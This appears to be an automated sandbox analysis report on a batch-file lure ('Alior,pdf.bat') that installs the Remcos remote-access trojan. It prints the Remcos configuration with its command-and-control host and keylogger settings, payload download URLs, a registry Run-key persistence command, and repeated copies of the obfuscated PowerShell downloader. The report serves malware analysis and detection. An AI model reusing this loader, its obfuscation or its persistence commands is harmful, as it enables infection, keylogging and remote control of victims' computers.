AV Detection

Antivirus detection for URL or domain

Source: idonetire.duckdns.org

Avira URL Cloud: Label: malware

Found malware configuration

Source: 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": ["idonetire.duckdns.org:52190:1"], "Assigned name": "NewRem", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "Rmc-LSHWWC", "Keylog flag": "1", "Keylog path": "Application path", "Keylog file": "logs.dat", "Keylog crypt": "Disable", "Hide keylog file": "Disable", "Screenshot flag": "Disable", "Screenshot time": "1", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5", "Audio folder": "MicRecords", "Connect delay": "0", "Copy folder": "Remcos", "Keylog folder": "remcos"}

Multi AV Scanner detection for submitted file

Source: Alior,pdf.bat	Virustotal: Detection: 11%			Perma Link
Source: Alior,pdf.bat	ReversingLabs: Detection: 15%

Yara detected Remcos RAT

Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008ACA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 6560, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.6% probability

Source:

Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb source: powershell.exe, 00000004.00000002.1866565286.0000000007981000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2036594 - Severity 1 - ET JA3 Hash - Remcos 3.x/4.x TLS Connection : 192.168.2.9:49696 -> 94.198.96.166:52190

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: idonetire.duckdns.org

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 94.198.96.166 ports 52190,0,1,2,5,9

Uses dynamic DNS services

Source: unknown

DNS query: name: idonetire.duckdns.org

Source: global traffic

TCP traffic: 192.168.2.9:49696 -> 94.198.96.166:52190

Source: global traffic

HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: Joe Sandbox View

IP Address: 178.237.33.50 178.237.33.50

Source: Joe Sandbox View

ASN Name: ASSEFLOWAmsterdamInternetExchangeAMS-IXIT ASSEFLOWAmsterdamInternetExchangeAMS-IXIT

Source: Network traffic	Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.2.9:49695 -> 148.251.230.92:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.9:49697 -> 178.237.33.50:80

Source: global traffic	HTTP traffic detected: GET /Harmonikaerne.mix HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: udire.webpg.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /HQnhqYul185.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: udire.webpg.itCache-Control: no-cache

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Harmonikaerne.mix HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: udire.webpg.itConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /HQnhqYul185.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:134.0) Gecko/20100101 Firefox/134.0Host: udire.webpg.itCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /json.gp HTTP/1.1Host: geoplugin.netCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: udire.webpg.it
Source: global traffic	DNS traffic detected: DNS query: idonetire.duckdns.org
Source: global traffic	DNS traffic detected: DNS query: geoplugin.net

Source: svchost.exe, 00000007.00000002.2851635573.000001CBC26A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.7.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.7.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008ACA000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gp
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpX
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpal
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpf
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gplo
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpn.net/json.gp8
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://geoplugin.net/json.gpo
Source: powershell.exe, 00000002.00000002.1043749947.0000014D1006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1858638038.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000002.00000002.1021395761.0000014D00001000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1840757332.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000002.00000002.1021395761.0000014D00ED9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://udire.wH
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D00EDF000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000002.00000002.1021395761.0000014D00DA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://udire.webpg.it
Source: msiexec.exe, 0000000E.00000002.3380138371.0000000008AF6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://udire.webpg.it/HQnhqYul185.bin
Source: powershell.exe, 00000002.00000002.1021395761.0000014D0022B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://udire.webpg.it/Harmonikaerne.mixP
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://udire.webpg.it/Harmonikaerne.mixXRPm
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000002.00000002.1048552039.0000014D66990000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.microsoft.co
Source: powershell.exe, 00000002.00000002.1021395761.0000014D00001000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000004.00000002.1840757332.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore6lBGr
Source: powershell.exe, 00000004.00000002.1858638038.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000004.00000002.1858638038.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000004.00000002.1858638038.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000007.00000003.1216469547.000001CBC2800000.00000004.00000800.00020000.00000000.sdmp, edb.log.7.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: powershell.exe, 00000004.00000002.1840757332.0000000004FF4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000002.00000002.1043749947.0000014D1006E000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.1858638038.0000000005F06000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe

E-Banking Fraud

Yara detected Remcos RAT

Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008B46000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008ACA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3380138371.0000000008B2D000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: msiexec.exe PID: 6560, type: MEMORYSTR
Source: Yara match	File source: C:\ProgramData\remcos\logs.dat, type: DROPPED

System Summary

Malicious sample detected (through community Yara rule)

Source: amsi32_6948.amsi.csv, type: OTHER	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6392, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: Process Memory Space: powershell.exe PID: 6948, type: MEMORYSTR	Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Source: C:\Windows\SysWOW64\msiexec.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF9C166B186	2_2_00007FF9C166B186
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF9C166BF32	2_2_00007FF9C166BF32
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF9C173B7EA	2_2_00007FF9C173B7EA
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 2_2_00007FF9C173BFFA	2_2_00007FF9C173BFFA
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04D56F68	4_2_04D56F68
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 4_2_04D56F68	4_2_04D56F68

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)"

Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3253
Source: unknown	Process created: Commandline size = 3277
Source: C:\Windows\System32\cmd.exe	Process created: Commandline size = 3253	Jump to behavior

Source: amsi32_6948.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6392, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 6948, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.evad.winBAT@15/16@3/4

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Rdkindedes90.Par

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6416:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6216:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5856:120:WilError_03
Source: C:\Windows\SysWOW64\msiexec.exe	Mutant created: \Sessions\1\BaseNamedObjects\Rmc-LSHWWC

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ul4aa554.pbr.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Alior,pdf.bat" "

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6392
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=6948

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: Alior,pdf.bat	Virustotal: Detection: 11%
Source: Alior,pdf.bat	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\Alior,pdf.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "Get-Service;$Bjrgningsfartjet='func';Get-History;$Bjrgningsfartjet+='t';Get-History;$Bjrgningsfartjet+='ion:';(ni -p $Bjrgningsfartjet -n Slede -value { param($Monastically);$Asherah229=1;do {$Specifikationsmetodikker+=$Monastically[$Asherah229];$Asherah229+=2} until(!$Monastically[$Asherah229])$Specifikationsmetodikker});ConvertTo-Html;(ni -p $Bjrgningsfartjet -n Studiefagets -value {param($Variabelerklringers);.($kvalt) ($Variabelerklringers)});ConvertTo-Html;$Sternocleidomastoid=Slede 'gnBE TH.NW';$Sternocleidomastoid+=Slede 'PE BPC LQiGe.N T';$bogklubbgers=Slede ' MNoszki lBlMa /';$Bottomers8=Slede 'VT,l s 1 2';$Fendillation=' [ nSe TU.SS EErtvSi c,E P O.i N.t mTaIn a.GBeBR.] : :GS EAC u r,I t Y p r OPTTO CDoClS= $ BPo TNtWO,m E.RSS 8';$bogklubbgers+=Slede ' 5C..0. S( W i n d,o wBsR NIT .1 0U..0.; UW ionC6F4V;S NxO6,4 ;K rPvF: 1T3P4.. 0A)D G eMc k.oM/,2R0A1,0 0,1 0E1 LFOi.rDe f oTx / 1,3P4u. 0';$Postventral=Slede 'SUAS E R -SaCg.E,NEt';$Spunshul=Slede 'IhStgt pa:L/D/Du dPiNrDeA. wEe,b pKg,.,i tR/ H,alr.mPognMi k a ejr nNe.. mAi x';$Putidness=Slede 'R>';$kvalt=Slede ' iUE.x';$Fluesnapperes='Opnaaende';$Undarkened='\Rdkindedes90.Par';Studiefagets (Slede ' $Dg.lSO.b,a.Ld:HD a TUa B EShUa NTDOlUeDS =k$ EAnAvN:MA PsP dDA Tea + $RuPn D AIrDKSE N ESd');Studiefagets (Slede 'S$Sg,l oABGa lB:,b o D e l S 1K0 3N=A$ sUP u.nMS.H u L,..s pBL IOt (S$ pCUGtUIVDpNKe s s,)');Studiefagets (Slede $Fendillation);$Spunshul=$Bodels103[0];$Perosmic=(Slede ' $pG.lOo bOA LB:MD i.F,tEEUR.INsA= nBEUwD-.o bRj,E cktF sTyLSNtVe mH.O$,S tFE,R,nSoSCFlnE ITd O M A s tIO I D');Studiefagets ($Perosmic);Studiefagets (Slede ' $ DBi fPtSe rIiPs .MH e aTd e rFs,[B$ ProdsAt v.eSnPt rSa lS] =A$ b o,gTkAl u.bfb gFeDrHs');$Storefronts=Slede ' $SDJi.fpt e r i s,..DsoBwAnSlToBa d FTi,lSe ( $KS p.uEnKsTh u l , $SD eDnui e rIeFn,sS)';$Denierens=$Databehandles;Studiefagets (Slede ' $MG.LJo BBaSlM:IGHrDAEfHi k.s ySsDt e m E t =O( TfE S t -APFa T HA A$,D e NFiDEPRCeSNMs )');while (!$Grafiksystemet) {Studiefagets (Slede 'B$IgPl o bRa lS:SU nSf a iSlGa bSlDy = $ SktCi nHkRe,t') ;Studiefagets $Storefronts;Studiefagets (Slede 'a[,t H r E asdSiPnNGS. T H R E a,d ] : :osAlTeSeSpV( 4T0 0P0 )');Studiefagets (Slede ' $ gvlIoEBEanL :,gDrFACfsiMK sDywS,T e,m eUTB=,( t E s TO-WPTa t HT O$ d E.NBI,EHr efNSS )') ;Studiefagets (Slede 'P$ gFlAo bAa lP:WPHE r I.p.nFE u MAOBn ISaS=U$EgOL.o b a lS:Np OHSRT NDaPt.a LRl y + + %S$ bHO dPe lDs.1b0D3 .JCUoDurNST') ;$Spunshul=$Bodels103[$Peripneumonia]}$Transcenderende=329225;$Ultrastructurally=28193;Studiefagets (Slede ' $ G.lAO bIa.l : FUE.MHEDt A gMe,rSS HDU s e sR P=C BG eITT-GCOo nKTBe n.TS B$DdDe,N ISEHrSEPNKs');Studiefagets (Slede '.$Sg.lSo bVaMl :FsStSeSgWe p aMnUd ePr n e sS = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCLSEN O=F M[ S.y SetaeAM .
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "Get-Service;$Bjrgningsfartjet='func';Get-History;$Bjrgningsfartjet+='t';Get-History;$Bjrgningsfartjet+='ion:';(ni -p $Bjrgningsfartjet -n Slede -value { param($Monastically);$Asherah229=1;do {$Specifikationsmetodikker+=$Monastically[$Asherah229];$Asherah229+=2} until(!$Monastically[$Asherah229])$Specifikationsmetodikker});ConvertTo-Html;(ni -p $Bjrgningsfartjet -n Studiefagets -value {param($Variabelerklringers);.($kvalt) ($Variabelerklringers)});ConvertTo-Html;$Sternocleidomastoid=Slede 'gnBE TH.NW';$Sternocleidomastoid+=Slede 'PE BPC LQiGe.N T';$bogklubbgers=Slede ' MNoszki lBlMa /';$Bottomers8=Slede 'VT,l s 1 2';$Fendillation=' [ nSe TU.SS EErtvSi c,E P O.i N.t mTaIn a.GBeBR.] : :GS EAC u r,I t Y p r OPTTO CDoClS= $ BPo TNtWO,m E.RSS 8';$bogklubbgers+=Slede ' 5C..0. S( W i n d,o wBsR NIT .1 0U..0.; UW ionC6F4V;S NxO6,4 ;K rPvF: 1T3P4.. 0A)D G eMc k.oM/,2R0A1,0 0,1 0E1 LFOi.rDe f oTx / 1,3P4u. 0';$Postventral=Slede 'SUAS E R -SaCg.E,NEt';$Spunshul=Slede 'IhStgt pa:L/D/Du dPiNrDeA. wEe,b pKg,.,i tR/ H,alr.mPognMi k a ejr nNe.. mAi x';$Putidness=Slede 'R>';$kvalt=Slede ' iUE.x';$Fluesnapperes='Opnaaende';$Undarkened='\Rdkindedes90.Par';Studiefagets (Slede ' $Dg.lSO.b,a.Ld:HD a TUa B EShUa NTDOlUeDS =k$ EAnAvN:MA PsP dDA Tea + $RuPn D AIrDKSE N ESd');Studiefagets (Slede 'S$Sg,l oABGa lB:,b o D e l S 1K0 3N=A$ sUP u.nMS.H u L,..s pBL IOt (S$ pCUGtUIVDpNKe s s,)');Studiefagets (Slede $Fendillation);$Spunshul=$Bodels103[0];$Perosmic=(Slede ' $pG.lOo bOA LB:MD i.F,tEEUR.INsA= nBEUwD-.o bRj,E cktF sTyLSNtVe mH.O$,S tFE,R,nSoSCFlnE ITd O M A s tIO I D');Studiefagets ($Perosmic);Studiefagets (Slede ' $ DBi fPtSe rIiPs .MH e aTd e rFs,[B$ ProdsAt v.eSnPt rSa lS] =A$ b o,gTkAl u.bfb gFeDrHs');$Storefronts=Slede ' $SDJi.fpt e r i s,..DsoBwAnSlToBa d FTi,lSe ( $KS p.uEnKsTh u l , $SD eDnui e rIeFn,sS)';$Denierens=$Databehandles;Studiefagets (Slede ' $MG.LJo BBaSlM:IGHrDAEfHi k.s ySsDt e m E t =O( TfE S t -APFa T HA A$,D e NFiDEPRCeSNMs )');while (!$Grafiksystemet) {Studiefagets (Slede 'B$IgPl o bRa lS:SU nSf a iSlGa bSlDy = $ SktCi nHkRe,t') ;Studiefagets $Storefronts;Studiefagets (Slede 'a[,t H r E asdSiPnNGS. T H R E a,d ] : :osAlTeSeSpV( 4T0 0P0 )');Studiefagets (Slede ' $ gvlIoEBEanL :,gDrFACfsiMK sDywS,T e,m eUTB=,( t E s TO-WPTa t HT O$ d E.NBI,EHr efNSS )') ;Studiefagets (Slede 'P$ gFlAo bAa lP:WPHE r I.p.nFE u MAOBn ISaS=U$EgOL.o b a lS:Np OHSRT NDaPt.a LRl y + + %S$ bHO dPe lDs.1b0D3 .JCUoDurNST') ;$Spunshul=$Bodels103[$Peripneumonia]}$Transcenderende=329225;$Ultrastructurally=28193;Studiefagets (Slede ' $ G.lAO bIa.l : FUE.MHEDt A gMe,rSS HDU s e sR P=C BG eITT-GCOo nKTBe n.TS B$DdDe,N ISEHrSEPNKs');Studiefagets (Slede '.$Sg.lSo bVaMl :FsStSeSgWe p aMnUd ePr n e sS = ,[ISByUsIt e m . C,o n.v eIr t.]D: :VFAraoVmMBKaGs ef6P4 S tRrDi.nTg ( $bFTedmSeDt,aRg e r sKh u saeAs,)');Studiefagets (Slede 'S$Kg LHo B a lS:AHdA VAe A BCL
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "Sorbed" /t REG_EXPAND_SZ /d "%Dalsnkningens% -windowstyle 1 $knobets=(gi 'HKCU:\Software\Nskeligeres117\').GetValue('Nskebarn');%Dalsnkningens% ($knobets)"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden "Get-Service;$Bjrgningsfartjet='func';Get-History;$Bjrgningsfartjet+='t';Get-History;$Bjrgningsfartjet+='ion:';(ni -p $Bjrgningsfartjet -n Slede -value { param($Monastically);$Asherah229=1;do {$Specifikationsmetodikker+=$Monastically[$Asherah229];$Asherah229+=2} until(!$Monastically[$Asherah229])$Specifikationsmetodikker});ConvertTo-Html;(ni -p $Bjrgningsfartjet -n Studiefagets -value {param($Variabelerklringers);.($kvalt) ($Variabelerklringers)});ConvertTo-Html;$Sternocleidomastoid=Slede 'gnBE TH.NW';$Sternocleidomastoid+=Slede 'PE BPC LQiGe.N T';$bogklubbgers=Slede ' MNoszki lBlMa /';$Bottomers8=Slede 'VT,l s 1 2';$Fendillation=' [ nSe TU.SS EErtvSi c,E P O.i N.t mTaIn a.GBeBR.] : :GS EAC u r,I t Y p r OPTTO CDoClS= $ BPo TNtWO,m E.RSS 8';$bogklubbgers+=Slede ' 5C..0. S( W i n d,o wBsR NIT .1 0U..0.; UW ionC6F4V;S NxO6,4 ;K rPvF: 1T3P4.. 0A)D G eMc k.oM/,2R0A1,0 0,1 0E1 LFOi.rDe f oTx / 1,3P4u. 0';$Postventral=Slede 'SUAS E R -SaCg.E,NEt';$Spunshul=Slede 'IhStgt pa:L/D/Du dPiNrDeA. wEe,b pKg,.,i tR/ H,alr.mPognMi k a ejr nNe.. mAi x';$Putidness=Slede 'R>';$kvalt=Slede ' iUE.x';$Fluesnapperes='Opnaaende';$Undarkened='\Rdkindedes90.Par';Studiefagets (Slede ' $Dg.lSO.b,a.Ld:HD a TUa B EShUa NTDOlUeDS =k$ EAnAvN:MA PsP dDA Tea + $RuPn D AIrDKSE N ESd');Studiefagets (Slede 'S$Sg,l oABGa lB:,b o D e l S 1K0 3N=A$ sUP u.nMS.H u L,..s pBL IOt (S$ pCUGtUIVDpNKe s s,)');Studiefagets (Slede $Fendillation);$Spunshul=$Bodels103[0];$Perosmic=(Slede ' $pG.lOo bOA LB:MD i.F,tEEUR.INsA= nBEUwD-.o bRj,E 